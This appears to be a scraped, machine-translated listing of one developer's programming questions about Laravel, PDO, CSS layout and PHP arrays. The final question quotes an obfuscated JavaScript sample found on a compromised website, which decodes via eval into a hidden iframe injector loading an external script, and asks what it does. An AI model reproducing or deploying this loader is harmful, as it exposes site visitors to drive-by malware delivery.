小编Mic*_*l N的帖子

未找到Laravel 5 Class'HTML'

我试图使用Laravel 5,但我的{{ HTML::style('style.css') }}不再适用.

我更新了composer.json以包含"illuminate/html": "5.*"在require下.我Illuminate\Html\HtmlServiceProvider'在app.php下添加了' 我的提供者数组,我已经添加了

'Form'=> 'Illuminate\Html\FormFacade',
'HTML'=> 'Illuminate\Html\HtmlFacade'
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同样.我然后跑了composer update我已经重新启动WAMP以确保它仍然无法正常工作.我也尝试使用 {!! HTML::style('style.css') !!}哪些也不起作用.我还需要做些什么来取回这个?

laravel laravel-5

27
推荐指数
6
解决办法
5万
查看次数

使用PDO回显显示表中的所有行

我正在尝试使用PDO回显表的所有行,但遇到了麻烦.

以旧的方式做我喜欢做的

$result = mysql_query($sql);
while ($row = mysql_fetch_array($result)){
   $title= $row['title'];
   $body= $row['body'];
}
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但是我正在尝试使用PDO;

$result = $db->prepare("SELECT title, body FROM post");
$result->execute();

while ($row = $db->fetchAll(PDO::FETCH_ASSOC))
{
$title = $row['title'];
$body = $row['body'];
}

echo $title;
echo $body;
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哪个一直给我调用未定义的方法PDO :: fetchAll()

做手册中给出的例子

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the remaining rows in the result set */
print("Fetch all of the remaining rows in the result set:\n");
$result = $sth->fetchAll();
print_r($result);
?>
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工作,但我不认为我可以控制单个列,就像我用$ …

php pdo

5
推荐指数
1
解决办法
4万
查看次数

如何使左浮动div占用剩余空间的100%?

如果我有一个75%宽度的容器,内部,左侧和右侧两列,左侧宽度为10em,我如何获得正确的容器占用剩余空间的100%?

我试了这个没有运气:

html, body {
    margin:0;
    padding:0;
    width:100%;
    height:100%;
}
#container {
    position:relative;
    width:75%;
    margin:0 auto;
    background:blue;
}
#left-container {
    position:relative;
    float:left;
    height:100%;
    width:10em;
    background:red;
}
#right-container {
    position:relative;
    float:left;
    height:100%;
    width:100%;
    background:yellow;
}
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<div id="container">
    <div id="left-container">Left</div>
    <div id="right-container">Right</div>
</div>
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我可以用百分比轻松地做到这一点,但我需要留下固定的10em宽度.

html css

5
推荐指数
1
解决办法
3382
查看次数

在中间件中使用Auth :: user

我正在尝试检查输入的URL是否与数据库中经过身份验证的用户slug相同.因此,如果用户访问example.com/user/bob-smith并且实际上Bob Smith已登录,则应用程序将让Bob继续,因为他在User表中的slug是bob-smith.

我有中间件注册,但是当我这样做

public function handle($request, Closure $next)
    {
        if($id != Auth::user()->slug){
            return 'This is not your page';
        }
        else{
            return $next($request);
        }
    }
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我明白了

找不到"App\Http\Middleware\Auth"类

我不确定如何在中间件中使用它.任何人都可以帮忙吗?

laravel laravel-middleware

5
推荐指数
1
解决办法
7854
查看次数

div外边界

我正在尝试创建一个扩展页面整个长度的div标题,但我不断在所有div上获得一个小的白色外边框,以便整个页面在外面有一个薄的白色边框.我希望div能够延伸到极致.

我尝试了一些不同的css选项,但似乎没有一个工作.EG(不是一次全部)

div
{
padding:0;
margin:0;
border:0;
margin: 0px auto 0px auto;
}
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html css

1
推荐指数
1
解决办法
94
查看次数

我可以在foreach循环中指定我想要的键吗?

如果我有一个名为阵$animalarray的钥匙dog,cat,bird,我可以指定我想在foreach循环使用哪个键?

我现在正在做这样的事情,但它只返回数组中的所有值

foreach($animalarray as $species=>$bird)
{   
    echo $bird;
}
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我希望这只能回显键Bird下的值,但这会返回所有键下的所有值.

php arrays foreach

1
推荐指数
1
解决办法
37
查看次数

如何使用中间件定义刀片模板的一部分?

我有导航栏,如果登录的用户是管理员,我想显示指向管理员仪表板的链接.如果没有,它应该什么都不显示.我和客人有类似的东西,例如

@if (Auth::guest())
        <li><a href="{{ url('/auth/login') }}">Login</a></li>
        <li><a href="{{ url('/auth/register') }}">Register</a></li>
    @else
        <li class="dropdown">
            <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">{{ Auth::user()->name }} <span class="caret"></span></a>
            <ul class="dropdown-menu" role="menu">
                <li><a href="{{ url('/profile') }}">Profile</a></li>
                <li><a href="{{ url('/auth/logout') }}">Logout</a></li>
            </ul>
        </li>
@endif
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但是,如何为登录用户和管理员执行此操作?我现在有

<ul class="nav navbar-nav">
    <li><a href="{{ url('/') }}">Home</a></li>
    @if (Auth::guest())

    @else
    <li><a href="{{ url('/admin') }}">Admin Dashboard</a></li>
    @endif
</ul>
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我在管理路由上设置了中间件,就像这样

Route::get('admin', ['middleware' => 'admin', 'uses' => 'AdminController@index']);
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看起来像

public function handle($request, Closure $next)
{
    if ($request->user()->role != 1)
    {
        return redirect('home');
    }

    return …
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php laravel-5

1
推荐指数
1
解决办法
3650
查看次数

将键添加到foreach创建的数组中而不添加所有值

foreach($_POST['door_check'] as $door_check) 
{
    $_SESSION['front_door']['door'] = $door_check;
}
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我有一小段代码检查检查了多少个框,然后创建一个复选框值的数组.

问题是,当我添加"门"键时,无论选中多少个复选框,数组都只会添加一个值.当我把它留空时,它会添加所有这些,如[0],[1],[2]等

为什么是这样?,

php foreach

0
推荐指数
1
解决办法
51
查看次数

在网站上找到恶意代码,它有什么作用?

我在一个我被要求帮助的网站上发现了这个代码,这引起了各种各样的混乱.起初它被重定向到另一个站点,我想尝试提供某种有效载荷.我不知道如何解密这个,我非常好奇.有人能指出我正确的方向吗?

对Google进行部分搜索可以看到很多网站似乎都有它.

<script type="text/javascript" language="javascript" >
asd=function(){d.body++};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,175,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,175,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,170,147,154,163,164,164,62,167,170,145,166,170,160,163,153,155,147,62,147,163,161,63,147,167,167,63,147,163,171,162,170,151,166,62,164,154,164,53,77,21,16,44,175,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,175,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,175,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,175,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,175,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,175,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,175,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,175,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,175,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,175,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(7-3)+parseInt(a[i],8);}try{asd()}catch(q){zz=0;}try{zz^=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss.fromCharCode.apply(ss,a));</script><!--/0c0896-->

编辑:我似乎无法发布整个事情,所以我把它粘贴到一个感兴趣的人的pastebin! http://pastebin.com/w1eH1JkB

javascript

0
推荐指数
1
解决办法
294
查看次数

标签 统计

php ×4

css ×2

foreach ×2

html ×2

laravel ×2

laravel-5 ×2

arrays ×1

javascript ×1

laravel-middleware ×1

pdo ×1